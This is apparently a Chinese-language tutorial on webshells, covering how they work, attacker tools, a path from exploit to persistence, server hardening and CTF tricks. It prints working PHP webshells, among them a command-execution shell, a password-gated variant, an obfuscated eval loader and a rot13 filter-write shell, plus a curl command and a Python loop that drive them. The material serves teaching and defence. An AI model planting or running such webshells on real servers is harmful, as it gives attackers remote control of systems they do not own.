Webshell 详解:网络安全中的「暗门」
本质定义
Webshell(网路壳) 是一种被恶意植入到网站服务器上的脚本程序(通常用 PHP、ASP、JSP 等编写),攻击者可通过浏览器或工具远程操控服务器,实现持续性的非法控制。
核心原理图解
攻击者浏览器 ↔ Webshell 脚本 ↔ 服务器系统
(发送指令) (在服务器执行指令) (执行系统级操作)
↑ ↓
查看结果返回 ←─────────────── 获取执行结果
一、Webshell 关键特征
-
隐蔽性
- 常伪装成正常文件:
logo.php
、error_log.php
- 使用混淆技术:Base64 编码/加密/图片隐藏
- 常伪装成正常文件:
<?php
eval(gzinflate(base64_decode('编码后的恶意代码')));
?>
-
多功能性
- 系统命令执行(核心功能)
- 文件管理(上传/下载/删除)
- 数据库操作
- 内网扫描渗透
- 创建后门账户
二、典型 Webshell 代码示例
1. 基础命令执行型
<?php
// 通过URL参数执行系统命令
if(isset($_GET['cmd'])) {
system($_GET['cmd']);
}
?>
访问方式:
http://victim.com/shell.php?cmd=whoami
2. 密码验证型(避免他人利用)
<?php
$pass = "hack123";
if(isset($_POST['pass'])) {
if($_POST['pass'] === $pass) {
system($_POST['cmd']);
}
}
?>
需用 POST 请求发送密码和指令
3. 图形化高级 WebShell
类似「中国菜刀」的工具代码:
<?php
// 文件管理界面 + 终端模拟器 + 数据库管理
// 包含完整图形化操作面板
三、攻击者如何使用 Webshell
-
控制台操作
curl http://victim.com/shell.php?cmd=ls -l /
-
https://example.com/shell-demo.png
-
专用工具连接
- 中国菜刀/Cknife
- AntSword(蚁剑)
- Behinder(冰蝎)
https://example.com/antsword-ui.png
自动化攻击
import requests
while True:
cmd = input("shell> ")
r = requests.get(f"http://victim.com/shell.php?cmd={cmd}")
print(r.text)
四、攻击路径示意图
1. 漏洞利用 → 2. 上传 Webshell → 3. 提权 → 4. 持久化控制
↑ ↑ |
|__ 文件上传漏洞 |__ 创建 cron 任务
|__ SQL 注入 |__ 添加 SSH 密钥
|__ 反序列化漏洞 |__ 安装 rootkit
五、防御手段
服务器加固
# 禁止执行上传目录的PHP
location ~* /uploads/.*\.(php|phtml)$ {
deny all;
}
文件监控策略
# 实时监控可疑文件创建
inotifywait -m -r -e create /var/www | grep '\.php'
PHP 安全配置
disable_functions = system,exec,passthru,shell_exec
open_basedir = /var/www/html:/tmp
Webshell 扫描工具
- ClamAV(病毒扫描)
- RIPS(PHP静态分析)
- AWS GuardDuty(云环境检测)
六、CTF 中的 Webshell 实战
常见题型
绕过过滤写 Shell
// 过滤了 <?php 但允许 PHP短标签
<?= system($_GET['cmd']); ?>
利用文件包含执行 Shell
// 上传包含恶意代码的图片
include("/uploads/hack.jpg");
无文件 WebShell
// 通过PHP伪协议直接执行代码
file_put_contents(
"php://filter/write=string.rot13/resource=test.php",
str_rot13('<?cuc riny($_CBFG[\'pvq\']);?>')
);
防御技巧:在 CTF 中上传 WebShell 后,立即使用 chmod 000 shell.php
防止其他队伍利用!
关键总结
- ⚠️ Webshell = 黑客的远程控制台
- 🔍 检测要点:异常进程/大流量文件/非常规端口连接
- 💡 安全意识:所有上传文件应视为潜在威胁
- 🛡️ 最佳防御:遵循「最小权限原则」+ 深度防御策略
理解 WebShell 机制,既能提升防御能力,也是在 CTF 中攻克 Web 题目的关键技能!